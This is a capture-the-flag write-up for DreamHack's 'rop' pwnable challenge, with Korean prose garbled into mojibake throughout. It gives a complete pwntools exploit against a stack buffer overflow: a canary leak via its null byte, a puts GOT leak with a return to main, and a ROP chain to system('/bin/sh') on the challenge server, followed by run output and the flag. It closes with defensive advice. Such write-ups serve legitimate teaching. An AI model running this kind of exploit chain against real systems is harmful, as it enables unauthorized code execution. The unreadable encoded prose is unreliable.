๋ฌธ์ : DreamHack โ rop ๋ถ๋ฅ: Pwnable ๋์ด๋: ๐ฅ Bronze 2 FLAG:
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}
์ด๋ฆ๋ถํฐ "rop"๋ค. ๋๋ฆผํต ์์คํ ํดํน ์ปค๋ฆฌํ๋ผ์์ ROP(Return Oriented Programming)๋ฅผ ์ฒ์ ์ฐ์ต์ํค๋ ๋ฌธ์ ๋ผ ๊ตฐ๋๋๊ธฐ๊ฐ ์๋ค. NX๊ฐ ์ผ์ ธ ์์ด ์คํ์ ์ ธ์ฝ๋๋ฅผ ์ฌ๋ฆด ์ ์๊ณ , ์คํ ์นด๋๋ฆฌ๊น์ง ์์ด ๋ฐํ ์ฃผ์๋ฅผ ๊ทธ๋ฅ ๋ฎ์ ์๋ ์๋ค. ๊ทธ๋ฐ๋ฐ ์ ๋ ฅ ๋ฐ๋ ์ง์ ์ ๋ฑ ๋ ๋ฒ๋ฟ์ด๋ค. ์นด๋๋ฆฌ leak์ ํ ๋ฒ, ์ง์ง ๊ณต๊ฒฉ์ ํ ๋ฒ โ ์ด ๋ ๋ฒ ์์์ libc ์ฃผ์๊น์ง ์์ด ๋ด์ผ ํ๋, ๊ทธ ์์ ์ด๋ป๊ฒ "์ฌ์ง์ "์ ์ฑ์ฌ๋ฃ๋๋๊ฐ ์ด ๋ฌธ์ ์ ์ ๋ถ๋ค.

๋ฌธ์ ๊ฐ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | rop |
| ๋์ด๋ | ๐ฅ Bronze 2 |
| ๋ถ๋ฅ | Pwnable |
| ์ ๊ณต | 64๋นํธ ELF rop + ์์ค rop.c + libc.so.6 + ์๊ฒฉ ์๋ฒ |
| ๋ณดํธ ๊ธฐ๋ฒ | NX on ยท Stack Canary on ยท PIE off ยท Partial RELRO |
| ํต์ฌ ๊ธฐ๋ฒ | canary LSB leak โ ROP#1(GOT leak) โ ret2main โ ROP#2 system("/bin/sh") |
ํ์ด ํ๋ฆ: โ ์์ค๋ฅผ ๋ณด๋ฉด read ๋ ๋ฒ์ด ๋์ด๋ผ๋ ๊ฒ ๋ณด์ธ๋ค โ โก 1์ฐจ ์
๋ ฅ์ผ๋ก ์นด๋๋ฆฌ๋ฅผ leakํ๋ค โ โข 2์ฐจ ์
๋ ฅ์์ puts(GOT[puts])๋ก libc ์ค์ฃผ์๋ฅผ ์๊ณ , ๋ฐํ ์ฃผ์๋ฅผ main ์์ ์ผ๋ก ๋๋ ค ํ๋ก๊ทธ๋จ์ ์ฒ์๋ถํฐ ๋ค์ ๋๋ฆฐ๋ค โ โฃ ์ฌ์ง์
ํ main์์ ๊ฐ์ ์นด๋๋ฆฌ๋ก ์ด๋ฒ์ system("/bin/sh")๋ฅผ ํ์ ์
ธ์ ์ก๋๋ค.
๐งฉ ๋ฐฐ๊ฒฝ โ NX๊ฐ ์ผ์ง๋ฉด ์ ROP์ธ๊ฐ
์ ธ์ฝ๋ ์ธ์ ์ ์ ์คํ ๊ฐ์ ๋ฐ์ดํฐ ์์ญ์ ๋ด๊ฐ ์ํ๋ ๊ธฐ๊ณ์ด๋ฅผ ์ฌ๋ ค๋๊ณ ๊ฑฐ๊ธฐ๋ก ์คํ ํ๋ฆ์ ๋๋ฆฌ๋ ๊ณต๊ฒฉ์ด๋ค. NX(No-eXecute) ๋นํธ๋ ๊ทธ ๋ฐ์ดํฐ ์์ญ์ ์คํ ๊ถํ ์์ฒด๋ฅผ ๊บผ๋ฒ๋ ค์ ์ด ๊ณต๊ฒฉ์ ์์ฒ ์ฐจ๋จํ๋ค.
๋์ ์คํ ๊ถํ์ด ๋จ์ ์๋ ๊ณณ์ ๋ฑ ํ๋, ์๋ ์ฝ๋๊ฐ ์๋ .text ์์ญ์ด๋ค. ROP๋ ์ฌ๊ธฐ์ ์ด๋ฏธ ์กด์ฌํ๋ ๋ช
๋ น์ด ์กฐ๊ฐ๋ค("๊ฐ์ ฏ")์ ์คํ์ ๋์ด๋์ ๋ฐํ ์ฃผ์๋ก ์ด์ด ๋ถ์ฌ, ์ ์ฝ๋๋ฅผ ์ฃผ์
ํ์ง ์๊ณ ๋ ์ํ๋ ๋์์ ์กฐ๋ฆฝํ๋ ๊ธฐ๋ฒ์ด๋ค. ๊ฐ์ ฏ ํ๋ํ๋๋ pop rdi ; ret์ฒ๋ผ ๋ช ๋ฐ์ดํธ ์ ๋๋ ์กฐ๊ฐ์ด๊ณ , ๋ง์ง๋ง์ด ํญ์ ret์ผ๋ก ๋๋์ผ ๋ค์ ๊ฐ์ ฏ์ผ๋ก ๋์ด๊ฐ๋ค. ret์ด ์คํ ๋งจ ์ ๊ฐ์ ๊บผ๋ด ๊ทธ๋ฆฌ๋ก ์ ํํ๋ ๊ฑธ ๋ฐ๋ณต ์ด์ฉํ๋ ๊ฒ๋ฟ์ด๋ค.
์ด ๋ฌธ์ ๋ ๋ผ์ด๋ธ๋ฌ๋ฆฌ ํจ์ ํธ์ถ๊น์ง ์ฒด์ด๋ํด์ผ ํด์, pop rdi ; ret ๊ฐ์ ฏ์ผ๋ก ์ธ์๋ฅผ ์ฑ์ด ๋ค PLT ํจ์๋ฅผ ๋ถ๋ฅด๋ ์ ํ์ ์ธ ํจ์ ํธ์ถํ ROP๋ค.
๐ฌ ์ฝ๋ ์ ์ฐฐ
์์ค๋ 24์ค์ด ์ ๋ถ๋ค.
int main() {
char buf[0x30];
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
// Leak canary
puts("[1] Leak Canary");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
printf("Buf: %s\n", buf);
// Do ROP
puts("[2] Input ROP payload");
write(1, "Buf: ", 5);
read(0, buf, 0x100);
return 0;
}buf[0x30](48๋ฐ์ดํธ)์ read๋ก ์ต๋ 0x100(256๋ฐ์ดํธ)์ ๋ฐ์ผ๋ ์ค๋ฒํ๋ก์ฐ๋ ํ์ ์ด๋ค. ๊ทธ๋ฐ๋ฐ ์ ์ ์
๋ ฅ ์ง์ ์ [1]๊ณผ [2], ๋ฑ ๋ ๋ฒ์ด๊ณ [2]์ read ๋ค์ ๋ฐ๋ก return์ด๋ค. ์
ธ์ฝ๋๋ฅผ ์ฌ๋ฆด ์คํ ๊ถํ๋ ์๊ณ , ํ์ด๋ก๋๋ฅผ ์ฌ๋ฌ ๋จ๊ณ๋ก ๋๋ ๋ณด๋ผ ๊ธฐํ๋ ์๋ค โ ์ด๋ฒ ํ ๋ฐฉ์ ROP ์ฒด์ธ ์์ libc leak๊ณผ ์
ธ๊น์ง ๋ค ํ์์ผ ํ๋ค.
๋ณดํธ ๊ธฐ๋ฒ๋ถํฐ ํ์ธํ๋ค.
file rop; echo; pwn checksec ./rop
NX enabled, Canary found, PIE off(0x400000 ๊ณ ์ ). PIE๊ฐ ๊บผ์ ธ ์๋ค๋ ๊ฒ ์ค์ํ๋ค โ ๋ฐ์ด๋๋ฆฌ ์ ๊ฐ์ ฏยทPLTยทGOT ์ฃผ์๋ ์ฌ์คํํด๋ ํญ์ ๊ฐ๋ค๋ ๋ป์ด๋ผ, ๋ก์ปฌ์์ ๊ตฌํ ์ฃผ์๋ฅผ ๊ทธ๋๋ก ์๊ฒฉ์ ์จ๋ ๋๋ค.
main์ ๋์ค์ด์
๋ธํด์ ์ ํํ ์คํ ๋ฐฐ์น๋ฅผ ํ์ธํ๋ค.
objdump -d -M intel --start-address=0x4006f7 --stop-address=0x4007e3 rop | \
sed -E \
-e 's/(sub rsp,0x40)/\1 <-- buf ํ๋ ์(rbp-0x40)/' \
-e 's/(mov QWORD PTR \[rbp-0x8\],rax)/\1 <-- ์นด๋๋ฆฌ ์ ์ฅ(rbp-0x8)/' \
-e 's/(lea rax,\[rbp-0x40\])/\1 <-- buf ์์ = rbp-0x40/' \
-e 's/(call 4005f0 <read@plt>)/\1 <-- read(0, buf, 0x100)/' \
-e 's/(call 4005e0 <printf@plt>)/\1 <-- canary leak ํต๋ก/' \
-e 's/(call 4005d0 <__stack_chk_fail@plt>)/\1 <-- ์นด๋๋ฆฌ ๋ถ์ผ์น์/' \
> main_disasm_annotated.txt
sub rsp,0x40์ผ๋ก ํ๋ ์์ด 0x40(64๋ฐ์ดํธ)์ด๊ณ ์นด๋๋ฆฌ๋ [rbp-0x8],rax์ ์ ์ฅ๋๋ค. buf๊ฐ rbp-0x40์ด๋ **buf ์์๋ถํฐ ์นด๋๋ฆฌ๊น์ง ๊ฑฐ๋ฆฌ๋ 0x40 - 0x8 = 0x38(56๋ฐ์ดํธ)**๋ค. ๊ทธ ๋ค๋ก saved rbp 8๋ฐ์ดํธ, ๋ฐํ ์ฃผ์ 8๋ฐ์ดํธ๊ฐ ์ด์ด์ง๋ค.
๐งฑ ๋ฐฐ๊ฒฝ โ ์คํ ์นด๋๋ฆฌ์ leak
์นด๋๋ฆฌ๋ ํจ์ ์ง์
์ rbp-0x8์ ๋๋ค 8๋ฐ์ดํธ๋ฅผ ๊น์ ๋๊ณ ํจ์๊ฐ ๋๋ ๋(leave; ret ์ง์ ) ๊ทธ ๊ฐ์ด ๊ทธ๋๋ก์ธ์ง ๊ฒ์ฌํ๋ ์ฅ์น๋ค. ์ด๊ธ๋๋ฉด __stack_chk_fail๋ก ๋ฐ๋ก ์ฃฝ๋๋ค. ๊ทธ๋์ ๋ฐํ ์ฃผ์๋ฅผ ๋ฎ์ผ๋ ค๋ฉด ๊ทธ ์์ ์นด๋๋ฆฌ๋ ์๋ ๊ฐ ๊ทธ๋๋ก ๋ค์ ์ฑ์ ๋ฃ์ด์ผ ํ๋ค.
๋ฆฌ๋
์ค glibc ์นด๋๋ฆฌ๋ **์ตํ์ ๋ฐ์ดํธ๊ฐ ํญ์ 0x00**์ผ๋ก ๊ณ ์ ์ด๋ค. ์ด ๋ฌธ์ ์ read๋ ๊ฐํ์ด๋ ๋ ์ข
๋จ์ ๋ถ์ด์ง ์๊ณ ๋ฐ์ ๋งํผ๋ง ๊ทธ๋๋ก ์ฐ๋๋ฐ, ๋ค์ด์ printf("Buf: %s\n", buf)๋ %s๋ผ ์ฒซ 0x00์ ๋ง๋๋ฉด ์ถ๋ ฅ์ ๋ฉ์ถ๋ค. ์ฆ ์ง๊ธ์ ์นด๋๋ฆฌ์ ๋๋ฐ์ดํธ์์ ๋งํ ์๋ฌด๊ฒ๋ ์์ง ์๋๋ค.
๊ทธ๋ฐ๋ฐ ์ ํํ 0x38๋ฐ์ดํธ๋ฅผ ์ฑ์ฐ๊ณ ํ ๋ฐ์ดํธ๋ง ๋ ๋ณด๋ด๋ฉด, ๊ทธ ํ ๋ฐ์ดํธ๊ฐ ์นด๋๋ฆฌ์ ๋๋ฐ์ดํธ ์๋ฆฌ๋ฅผ ๋ฎ๋๋ค. %s๋ ์ด์ ๊ทธ ์๋ฆฌ์์ ๋ฉ์ถ์ง ์๊ณ ์นด๋๋ฆฌ์ ๋๋จธ์ง 7๋ฐ์ดํธ๊น์ง ๊ทธ๋๋ก ํ๋ ค๋ณด๋ธ๋ค. ์ตํ์ ๋ฐ์ดํธ๋ ํญ์ 0x00์ด๋ผ๋ ๊ฑธ ์๊ณ ์์ผ๋ ์์ ๋๋ก ๋ถ์ด๋ฉด ์นด๋๋ฆฌ ์ ์ฒด๊ฐ ๋ณต์๋๋ค.
๐ฃ ํต์ฌ โ GOT leak๋ก ret2main, ๊ทธ๋ฆฌ๊ณ ret2system
์นด๋๋ฆฌ๋ ํ๋ณดํ์ง๋ง ์ฌ์ ํ ๋ฌธ์ ๋ ๋จ๋๋ค. ์
๋ ฅ์ ์ด์ ํ ๋ฒ๋ฟ์ด๊ณ ([2] Input ROP payload), ๊ทธ ๋ค์ ํจ์๊ฐ ๋๋๋ฉฐ leave; ret์ผ๋ก ์ข
๋ฃ๋๋ค. ์ด ํ ๋ฒ์ ROP ์ฒด์ธ ์์์ libc ์ฃผ์๋ฅผ ์๊ณ ์
ธ๊น์ง ์ก์์ผ ํ๋๋ฐ, system()์ ๋ถ๋ฅด๋ ค๋ฉด ASLR๋ก ๋งค๋ฒ ๋ฐ๋๋ libc ๋ฒ ์ด์ค๋ฅผ ๋จผ์ ์์์ผ ํ๋ค.
๋ต์ ๋ฐํ ์ฃผ์๋ฅผ ํ๋ก๊ทธ๋จ ์๊ธฐ ์์ , main()์ผ๋ก ๋๋ฆฌ๋ ๊ฒ์ด๋ค. main์ ์ง์ญ๋ณ์ยท์นด๋๋ฆฌ ๊ฒ์ฌ๊น์ง ํฌํจํด ๋งค๋ฒ ๋๊ฐ์ด ๋์ํ๋ ์์ ํจ์๋ผ, ๋ค์ ๋ถ๋ฌ๋ ๋ฌธ์ ์์ด [1] Leak Canary๋ถํฐ ์ฌ์คํ๋๋ค. ๊ทธ๋ฆฌ๊ณ ์นด๋๋ฆฌ๋ TLS(fs:0x28)์ ์ ์ฅ๋, ํ๋ก์ธ์ค ์์ ์ ํ ๋ฒ๋ง ๋ฝํ๋ ๊ฐ์ด๋ผ main์ ๋ช ๋ฒ์ ๋ค์ ๋ถ๋ฌ๋ ๋๊ฐ๋ค โ ์ฆ ํ ๋ฒ leakํ ์นด๋๋ฆฌ๋ฅผ ๋ ๋ฒ์งธ ๋ผ์ด๋์์ ๊ทธ๋๋ก ์ฌ์ฌ์ฉํ ์ ์๋ค.
์ ๋ฆฌํ๋ฉด 2๋จ ๊ณํ์ด๋ค.
๋ผ์ด๋ 1 โ libc ์ฃผ์ leak + main ์ฌ์ง์
pop rdi ; ret ; rdi = &puts@got
puts@plt ; puts(GOT[puts]) โ GOT์ ๋ ์ค์ ์ฃผ์๋ฅผ ๋ฌธ์์ด์ฒ๋ผ ์ถ๋ ฅ
main ; ๋ฐํ ์ฃผ์๋ฅผ main์ผ๋ก โ ํ๋ก๊ทธ๋จ์ด ์ฒ์๋ถํฐ ๋ค์ ์์puts(ptr)๋ ptr์ด ๊ฐ๋ฆฌํค๋ ๊ณณ์ ๋ ์ข
๋จ ๋ฌธ์์ด๋ก ์ฝ์ด ์ถ๋ ฅํ๋ค. GOT[puts]์๋ ์ด๋ฏธ ๋ช ๋ฒ ๋ถ๋ ค์ ๋์ ๋ง์ปค๊ฐ ์ค์ libc ์ฃผ์๋ก ์์ ํ ์ฑ์๋ ๊ฐ์ด ๋ค์ด์์ผ๋ฏ๋ก, ์ด ์ฃผ์๋ฅผ ์ธ์๋ก ๋๊ธฐ๋ฉด ๊ทธ ๊ฐ ์์ฒด๊ฐ ์์ ๋ฐ์ดํธ๋ก ์ถ๋ ฅ๋๋ค. libc ํจ์ ์ฃผ์๋ ํ์ 6๋ฐ์ดํธ๋ง ์ ํจํ๊ณ ์์ 2๋ฐ์ดํธ๊ฐ 0x00์ด๋ผ, puts๋ ๋ฑ 6๋ฐ์ดํธ๋ฅผ ๋ฑ๊ณ ์์ฐ์ค๋ฝ๊ฒ ๋ฉ์ถ๋ค.
๋ผ์ด๋ 2 โ system("/bin/sh")
ret ; 16๋ฐ์ดํธ ์ ๋ ฌ ๋ณด์ ์ฉ ํจ๋ฉ ํ ์นธ
pop rdi ; ret ; rdi = &"/bin/sh" (libc ์์ ๋ฌธ์์ด)
system ; system("/bin/sh")ret ํ ์นธ์ ๋ผ์ ๋ฃ๋ ์ด์ ๋ glibc ๋ด๋ถ์์ system์ด SSE ๋ช
๋ น(movaps ๋ฑ)์ ์ฐ๊ธฐ ๋๋ฌธ์ด๋ค. ์ด ๋ช
๋ น์ ์คํ์ด 16๋ฐ์ดํธ ์ ๋ ฌ๋ผ ์์ง ์์ผ๋ฉด ์ฃฝ๋๋ฐ, ret ์ฒด์ธ์ผ๋ก ์ง์
ํ๋ฉด ์ค์ call์ ๊ฑฐ์น ๊ฒ๊ณผ ์ ๋ ฌ์ด ์ด๊ธ๋ ์ ์์ด ๋๋ฏธ ret ํ ์นธ์ผ๋ก 8๋ฐ์ดํธ๋ฅผ ๋ง์ถฐ์ค๋ค.
์ด ๋ ๋ผ์ด๋๋ฅผ ์๋ ๊ทธ๋๋ก ์คํํ๋ฉด, system("/bin/sh")๋ ๋ด๋ถ์ ์ผ๋ก /bin/sh -c "/bin/sh"๋ฅผ ์คํํ๋ ๊ฒ๊ณผ ๊ฐ์์ ์์์ผ๋ก ์
ธ์ด ํ๋ ๋ ๋ฌ๋ค. ๊ทธ ์
ธ์ stdin/stdout์ด ์์ผ ๊ทธ๋๋ก๋ผ ์ดํ ๋ช
๋ น์ ํ๋ ค๋ณด๋ด๋ฉด ์๊ฒฉ ์
ธ์ด ๋๋ค.
๐ฏ ์ต์คํ๋ก์ ์กฐ๋ฆฝ
๊ฐ์ ฏ์ ROPgadget์ผ๋ก ๋ฝ๋๋ค.
ROPgadget --binary rop --only "pop|ret" | grep -E "pop rdi|: ret$"
0x400853์ด pop rdi ; ret, 0x400596์ด ๋จ๋
ret์ด๋ค. libc ์ชฝ ์คํ์
์ ์ฌ๋ณผ ํ
์ด๋ธ๊ณผ ๋ฌธ์์ด ์์น์์ ๊ทธ๋๋ก ๋ฝ๋๋ค.
readelf -s libc.so.6 | grep -E "puts@@|system@@"
python3 -c 'print(hex(open("libc.so.6","rb").read().find(b"/bin/sh")))'
puts 0x80ed0, system 0x50d60, "/bin/sh" 0x1d8698. ์ด ๊ฐ๋ค๊ณผ pwn checksec ์ถ๋ ฅ์์ ํ์ธํ puts@plt/GOT[puts]/main ์ฃผ์๋ฅผ pwntools์ ELF ๊ฐ์ฒด๋ก ๊ทธ๋๋ก ์ฝ์ด์ ์ฒด์ธ์ ์ง ๋ค.
from pwn import *
context.arch = "amd64"
elf = ELF("./rop")
libc = ELF("./libc.so.6")
pop_rdi_ret = 0x400853
ret_gadget = 0x400596
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
BUF_TO_CANARY = 0x38 # buf(rbp-0x40) ~ canary(rbp-0x8)
io = remote("host3.dreamhack.games", 17758)
# [1] canary LSB(0x00)๋ฅผ ํ ๋ฐ์ดํธ๋ก ๋ฎ์ด %s ๊ฐ ๋๋จธ์ง 7๋ฐ์ดํธ๋ฅผ ํ๋ฆฌ๊ฒ
io.recvuntil(b"[1] Leak Canary\n"); io.recvuntil(b"Buf: ")
io.send(b"A" * BUF_TO_CANARY + b"A")
io.recvuntil(b"Buf: ")
leak = io.recvn(BUF_TO_CANARY + 1 + 7)
canary = b"\x00" + leak[BUF_TO_CANARY + 1:]
# [2] ROP#1: puts(GOT[puts]) ๋ก libc leak โ main ์ฌ์ง์
io.recvuntil(b"[2] Input ROP payload\n"); io.recvuntil(b"Buf: ")
rop1 = flat(pop_rdi_ret, puts_got, puts_plt, main_addr)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop1)
leaked_puts = u64(io.recvline(keepends=False).ljust(8, b"\x00"))
libc_base = leaked_puts - libc.symbols["puts"]
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]
# main ์ฌ์ง์
โ [1]์ ๊ทธ๋ฅ ํ๋ ค๋ณด๋ด๊ณ (์นด๋๋ฆฌ๋ ์ฌ์ฌ์ฉ), [2]์์ ์ง์ง ROP
io.recvuntil(b"[1] Leak Canary\n"); io.recvuntil(b"Buf: ")
io.send(b"hi"); io.recvuntil(b"\n")
io.recvuntil(b"[2] Input ROP payload\n"); io.recvuntil(b"Buf: ")
rop2 = flat(ret_gadget, pop_rdi_ret, binsh, system)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop2)
io.sendline(b"cat flag")
print(io.recvall(timeout=5).decode())pop rdi๋ก ์ฎ๊ธด ๊ฐ์ด ์ ํํ GOT ์ฌ๋กฏ์ ์ฃผ์(๊ทธ ์์ ๋ ๊ฐ์ด ์๋๋ผ)๋ผ๋ ์ , read๋ ๊ฐํ์ ์ ์๋ฅด๋ sendline์ด ์๋๋ผ send๋ก ์นด๋๋ฆฌ ์๋ฆฌ๊น์ง ์ ํํ ๋ง์ถฐ ๋ณด๋ด์ผ ํ๋ค๋ ์ ๋ง ์กฐ์ฌํ๋ฉด ๋๋จธ์ง๋ ๊ทธ๋๋ก ํ๋ฌ๊ฐ๋ค.
๐ Full Exploit
์ค์ ๋ก ๋๋ฆฐ solve.py. ์ ์กฐ๋ฆฝ ๊ทธ๋๋ก์ checksec ์ถ๋ ฅ๊ณผ ์ต์ข
cat flag๊น์ง ํฌํจํ ์ ์ฒด๋ค.
#!/usr/bin/env python3
from pwn import *
context.arch = "amd64"
context.log_level = "info"
HOST = "host3.dreamhack.games"
PORT = 17758
elf = ELF("./rop")
libc = ELF("./libc.so.6")
pop_rdi_ret = 0x400853
ret_gadget = 0x400596
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = elf.symbols["main"]
BUF_TO_CANARY = 0x38 # rbp-0x40 (buf start) .. rbp-0x8 (canary)
io = remote(HOST, PORT)
# --- round 1 / stage 1: overwrite canary's null LSB, leak the other 7 bytes back ---
io.recvuntil(b"[1] Leak Canary\n")
io.recvuntil(b"Buf: ")
io.send(b"A" * BUF_TO_CANARY + b"A")
io.recvuntil(b"Buf: ") # this is printf's own "Buf: " prefix
leak = io.recvn(BUF_TO_CANARY + 1 + 7)
canary = b"\x00" + leak[BUF_TO_CANARY + 1:]
log.info(f"canary = {canary.hex()}")
# --- round 1 / stage 2: ROP -> puts(GOT[puts]) leaks libc, then loop back into main() ---
io.recvuntil(b"[2] Input ROP payload\n")
io.recvuntil(b"Buf: ")
rop1 = flat(pop_rdi_ret, puts_got, puts_plt, main_addr)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop1)
leaked = io.recvline(keepends=False)
leaked_puts = u64(leaked.ljust(8, b"\x00"))
libc_base = leaked_puts - libc.symbols["puts"]
log.info(f"leaked puts@libc = {hex(leaked_puts)} libc base = {hex(libc_base)}")
binsh = libc_base + next(libc.search(b"/bin/sh\x00"))
system = libc_base + libc.symbols["system"]
# --- round 2: canary is a per-process TLS value set once, so it's unchanged. ---
io.recvuntil(b"[1] Leak Canary\n")
io.recvuntil(b"Buf: ")
io.send(b"hi")
io.recvuntil(b"\n")
# stage 2: final ROP -> system("/bin/sh")
io.recvuntil(b"[2] Input ROP payload\n")
io.recvuntil(b"Buf: ")
rop2 = flat(ret_gadget, pop_rdi_ret, binsh, system)
io.send(b"A" * BUF_TO_CANARY + canary + b"B" * 8 + rop2)
io.sendline(b"cat flag")
result = io.recvall(timeout=5)
print(result.decode(errors="replace"))
[*] '/home/jinho/Dev/Hacking_Project/์๊ฒ์/1_Bronze_2/rop/extracted/rop'
NX: NX enabled
Stack: Canary found
PIE: No PIE (0x400000)
[+] Opening connection to host3.dreamhack.games on port 17758: Done
[*] canary = 001cd8cf9e6b2594
[*] leaked puts@libc = 0x7fbea9475ed0 libc base = 0x7fbea93f5000
[+] Receiving all data: Done (69B)
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}์นด๋๋ฆฌ leak, libc ๋ฒ ์ด์ค ๊ณ์ฐ, ๊ทธ๋ฆฌ๊ณ ๋ง์ง๋ง ์ค์ flag๊น์ง ํ ์ธ์ ์์์ ๊ทธ๋๋ก ์ด์ด์ก๋ค.
FLAG:
DH{8056b333681caa09d67d1d7aa48a3586ef867de0ac3b778c9839d449d4fcb0cf}
๐ ๊ฒฐ๋ก
์ ๋ ฅ ๊ธฐํ๊ฐ ์ ํ๋ผ๋, ํ๋ก๊ทธ๋จ ์์ ์ ๊ฐ์ ฏ์ฒ๋ผ ์ฐ๋ฉด ๋จ๊ณ๋ฅผ ๋๋ฆด ์ ์๋ค.
์ด ๋ฌธ์ ๊ฐ ์ฌ๋ฐ๋ ์ง์ ์ ์ทจ์ฝ์ ์์ฒด(48๋ฐ์ดํธ ๋ฒํผ์ 256๋ฐ์ดํธ ์ฝ๊ธฐ)๋ ์์ฃผ ๋จ์ํ๋ฐ, ๊ทธ๊ฑธ ์ด๋ฆฌ๋ ๋ฐฉ๋ฒ์ด "๋ฐํ ์ฃผ์๋ก ๋๋์๊ฐ ํจ์๋ฅผ ์๋ก ์ ๋ง๋ค๊ณ main ์์ ์ ์ฌํ์ฉ"์ด๋ผ๋ ๋ฐ ์๋ค. ROP๋ ์ฝ๋ ์กฐ๊ฐ(๊ฐ์ ฏ)๋ง ์ฌ์ฌ์ฉํ๋ ๊ธฐ๋ฒ์ด๋ผ๊ณ ์๊ฐํ๊ธฐ ์ฝ์ง๋ง, ํจ์ ์ ์ฒด โ ์ฌ์ง์ด main โ ๋ ๊ทธ์ ์คํ์ ์น์ ์ ์๋ ๋ฐํ ์ฃผ์ ํ๋์ผ ๋ฟ์ด๋ค.
๋ฐฉ์ด ๊ด์ ์์ ์ ๋ฆฌํ๋ฉด:
- NX๋ง์ผ๋ก๋ ๋ถ์กฑํ๋ค. ์ ธ์ฝ๋ ์คํ์ ๋ง์์ง๋ง ์ฝ๋ ์์ญ ์์ฒด(๋ผ์ด๋ธ๋ฌ๋ฆฌ ํฌํจ)๊ฐ ์ฌ์ ํ ์คํ ๊ฐ๋ฅํ๊ธฐ ๋๋ฌธ์ ROP๋ก ์ฐํ๋๋ค. Full RELRO + PIE๋ฅผ ํจ๊ป ์ผ์ผ GOT ๋ฎ์ด์ฐ๊ธฐยท์ฃผ์ ํ๋์ฝ๋ฉ๊น์ง ๋งํ๋ค.
- ์ ๋ณด ๋
ธ์ถ์ ์ฌ์ํด ๋ณด์ฌ๋ ์น๋ช
์ ์ด๋ค.
%s๊ฐ ๋๋ฐ์ดํธ์์ ๋ฉ์ถ๋ค๋ ์ฑ์ง ํ๋๋ก ์นด๋๋ฆฌ 7๋ฐ์ดํธ๊ฐ ํต์งธ๋ก ์๋ค. ์ฌ์ฉ์ ์ ๋ ฅ์ ๊ทธ๋๋ก ํฌ๋งท ๋ฌธ์์ด ์ธ์์ ๋๊ธฐ์ง ์๋ ๊ฒ๊ณผ๋ ๋ณ๊ฐ๋ก, ์ด๋ฐ "์ฐ์ฐํ leak ๊ฒฝ๋ก"๋ ์ฝ๋ ๋ฆฌ๋ทฐ์์ ๊ฑธ๋ฌ์ผ ํ๋ค. - ๋ฒํผ ํฌ๊ธฐ์ ์ค์ read ํฌ๊ธฐ๋ฅผ ๋ง์ถ๋ค.
buf[0x30]์ธ๋ฐread๋0x100์ ๋ฐ๋ ๊ฒ๋ถํฐ๊ฐ ์ ํ์ ์ธ ์ค์๋ค.sizeof(buf)๋ฅผ ๊ทธ๋๋ก read์ ๊ธธ์ด ์ธ์๋ก ์จ์ผ ํ๋ค. - GOT๋ฅผ ํจ๋ถ๋ก ์ฝ๊ณ ์ธ ์ ์๊ฒ ํ๋ค. Full RELRO๋ GOT๋ฅผ ์ด๊ธฐํ ํ ์ฝ๊ธฐ ์ ์ฉ์ผ๋ก ๋ง๋ค์ด, ์ด๋ฒ์ฒ๋ผ
puts(GOT[puts])๋ก ์ค์ ์ฃผ์๋ฅผ ๋นผ๋ด๋ leak ์์ฒด๋ ์ฌ์ ํ ๊ฐ๋ฅํด๋ GOT๋ฅผ ๋ฎ์ด์จ ์คํ ํ๋ฆ์ ๊ฐ๋ก์ฑ๋ ํ์ ๊ณต๊ฒฉ์ ๋ง๋๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ